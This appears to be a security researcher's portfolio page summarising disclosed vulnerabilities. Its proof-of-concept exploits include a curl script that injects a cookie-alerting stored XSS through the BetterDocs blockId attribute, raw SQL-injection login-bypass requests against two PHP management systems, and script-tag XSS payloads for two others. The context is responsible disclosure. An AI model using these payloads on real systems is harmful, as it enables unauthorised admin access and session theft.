Whoami
I'm a cyber security engineer and security researcher, and a Hack The Box player known online as Craniums. To learn more about what I do, check out my awesome work.
I'm a cyber security engineer and security researcher, and a Hack The Box player known online as Craniums. To learn more about what I do, check out my awesome work.
I break web applications to help secure them — finding, proving, and responsibly disclosing vulnerabilities.
Finding and disclosing bugs in WordPress plugins/themes and PHP web apps. 5 CVEs assigned to date.
SQL injection, stored XSS, authentication bypass and related OWASP-class flaws, from recon to impact.
Writing working proof-of-concept exploits and publishing them on Exploit-DB.
Hands-on offensive practice and continuous learning — Guru rank on Hack The Box.
Vulnerabilities I've found and published, plus write-ups.
Authenticated (Contributor+) stored XSS via the blockId block attribute.
SQL injection in the admin panel login, leading to authentication bypass.
SQL injection in the admin panel login, leading to authentication bypass.
Multiple stored XSS in the Update Profile module.
Multiple stored XSS in the Register module.
The BetterDocs WordPress plugin (≤ 4.5.3) is vulnerable to authenticated stored cross-site scripting. A low-privileged user (Contributor and above) can inject JavaScript through the blockId attribute of a BetterDocs block, which is echoed into page markup without sufficient output escaping. The script then runs in the browser of anyone who views the affected content.
blockId block attributeCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NThe blockId attribute of a BetterDocs block is written into the rendered markup without escaping. A crafted value breaks out of the attribute and adds onfocus + autofocus, so the payload fires the moment the element is focused — for example when an Administrator previews the pending post. Tested on BetterDocs 4.3.12 (affected ≤ 4.5.3) with a Contributor account.
autofocus focuses the injected element and onfocus fires, popping an alert with the session cookie.# authenticate as the Contributor
curl -s -c cookies.txt -X POST http://TARGET/wp-login.php \
-d "log=CONTRIBUTOR_USER&pwd=CONTRIBUTOR_PASS&wp-submit=Log+In"
# grab a REST API nonce
NONCE=$(curl -s -b cookies.txt http://TARGET/wp-admin/post-new.php \
| grep -oP '"nonce":"([a-f0-9]+)"' | grep -oP '[a-f0-9]{10}')
# submit the post with the crafted blockId attribute
curl -s -b cookies.txt -H "X-WP-Nonce: $NONCE" -H "Content-Type: application/json" \
-X POST "http://TARGET/index.php?rest_route=/wp/v2/posts" \
-d '{"title":"Documentation Overview","status":"pending","content":
"<!-- wp:betterdocs/category-slate-layout {\"blockId\":\"x\\\" onfocus=\\\"alert(document.cookie)\\\" autofocus=\\\"true\\\" tabindex=\\\"1\"} /-->"}'
Full disclosure details are on the Wordfence advisory.
Online Magazine Management System 1.0 builds the admin login SQL query from the submitted credentials without sanitisation. A crafted username injects into the query and bypasses authentication, granting admin access with no valid password — an unauthenticated, network-reachable compromise of the application.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HThe login handler at /magazines/classes/Login.php?f=login concatenates the username field into the authentication query without sanitisation. The payload below makes the WHERE clause always true and logs in as the first (admin) account, no valid password required.
POST /magazines/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
username='+or+1%3D1+limit+1+--+-%2B&password=aaaa
URL-decoded, the username field is ' or 1=1 limit 1 -- -+. Published as EDB-50561 on Exploit-DB.
Online Pre-owned/Used Car Showroom Management System 1.0 is vulnerable to SQL injection in the admin login. The submitted credentials are concatenated into the authentication query without sanitisation, so a crafted username bypasses authentication and yields admin access without a valid password.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HThe login handler at /used_car_showroom/classes/Login.php?f=login concatenates the username field into the authentication query without sanitisation. The payload below makes the WHERE clause always true and logs in as the first (admin) account, no valid password required.
POST /used_car_showroom/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
username='+or+1%3D1+limit+1+--+-%2B&password=aaaa
URL-decoded, the username field is ' or 1=1 limit 1 -- -+. Published as EDB-50560 on Exploit-DB.
Online Doctor Appointment System 1.0 contains multiple stored cross-site scripting vulnerabilities in the “Update Profile” module. Profile fields are stored and later rendered without output encoding, so an authenticated user can persist JavaScript that executes in the browser of anyone who views the profile.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NThe First Name, Last Name and Address fields in the Update Profile form are stored verbatim and rendered without output encoding, so an injected script runs on every page that displays them.
/doctorappointmentsystem/adminlogin.php.<script>alert("craniums")</script>
The stored script then fires each time the profile is updated or viewed. Published as EDB-49396 (CVE-2021-25791) on Exploit-DB.
House Rental and Property Listing 1.0 contains multiple stored cross-site scripting vulnerabilities in the “Register” module. Registration fields are stored without sanitisation and later rendered without encoding, so an attacker can persist JavaScript that runs when the data is displayed — for example in an admin panel.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NThe Full Name field on the registration form is stored verbatim and rendered without output encoding, so an injected script runs once the account is logged in and its name is displayed.
<script>alert("craniums")</script>
Published as EDB-49352 (CVE-2021-25790) on Exploit-DB.